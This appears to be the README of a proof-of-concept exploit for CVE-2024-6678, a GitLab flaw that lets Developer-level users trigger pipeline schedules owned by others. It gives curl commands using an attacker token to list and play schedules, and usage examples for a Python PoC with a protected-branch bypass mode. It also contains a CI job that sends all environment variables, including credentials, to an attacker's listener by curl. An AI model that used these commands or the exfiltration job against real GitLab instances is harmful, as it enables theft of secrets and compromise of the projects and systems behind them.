
PoC for CVE-2024-6678
PoC for CVE-2024-6678
GitLab allows users to manually trigger CI/CD pipeline schedules (Pipeline Schedules) via the "Play" button. The vulnerability lies in the fact that the "play" function allows any user with Developer permissions (not just the schedule owner) to trigger the schedule. This leads to two consequences:
The ultimate impact will depend on what is stored in the schedule variables. For example, the DB_PASSWORD variable opens the possibility to take a full database dump, and SSH_PRIVATE_KEY allows obtaining RCE.
develop, staging) — or the project has schedules with a short ref format (bypass)Important: Schedules on protected branches (e.g.,
refs/heads/mainwhen protection is enabled) are blocked by thePipelineSchedulePolicy#protected_refpolicy and will return HTTP 403. The attack works for unprotected branches — which is precisely where integration and staging schedules with production credentials are often created.
curl -s -H "PRIVATE-TOKEN: ATTACKER_TOKEN" \
"https://gitlab.example.com/api/v4/projects/PROJECT_ID/pipeline_schedules" \
| python3 -m json.tool
Find a schedule belonging to a more privileged user (Maintainer/Owner).
curl -s -X POST \
-H "PRIVATE-TOKEN: ATTACKER_TOKEN" \
"https://gitlab.example.com/api/v4/projects/PROJECT_ID/pipeline_schedules/SCHEDULE_ID/play"
Expected response: HTTP 201 — pipeline added to queue.
The pipeline is created on behalf of the attacker (current_user), but with all the schedule variables (which may include API keys, tokens, credentials configured by the owner).
HTTP 500 "Unable to schedule pipeline run immediately" — Expected behavior. This is Sidekiq deduplication (
deduplicate :until_executed): a job for this schedule is already in the queue from a previous successful trigger. This means the attack has already been executed earlier and the job is waiting to run.
curl -s -H "PRIVATE-TOKEN: ATTACKER_TOKEN" \
"https://gitlab.example.com/api/v4/projects/PROJECT_ID/pipelines?source=schedule&per_page=5" \
| python3 -m json.tool | grep -E '"id"|"status"|"username"'
# Basic run: auto-select schedule
python3 cve-2024-6678-poc.py \
--url https://gitlab.example.com \
--token glpat-xxxx \
--project-id 42
# Specify a specific schedule
python3 cve-2024-6678-poc.py \
--url https://gitlab.example.com \
--token glpat-xxxx \
--project-id 42 \
--schedule-id 7
# Via GraphQL (requires --project-path)
python3 cve-2024-6678-poc.py \
--url https://gitlab.example.com \
--token glpat-xxxx \
--project-id 42 \
--graphql \
--project-path "mygroup/myrepo"
# Check legacy-ref bypass
python3 cve-2024-6678-poc.py \
--url https://gitlab.example.com \
--token glpat-xxxx \
--project-id 42 \
--exploit-mode
Before triggering, the PoC replaces .gitlab-ci.yml in develop with: stages: [exfil] dump_vars: stage: exfil script: - env | grep -vE '^(CI_JOB_TOKEN|GITLAB_FEATURES)' | curl -X POST 'http://IP:PORT' --data-binary @-
All this arrives at your listener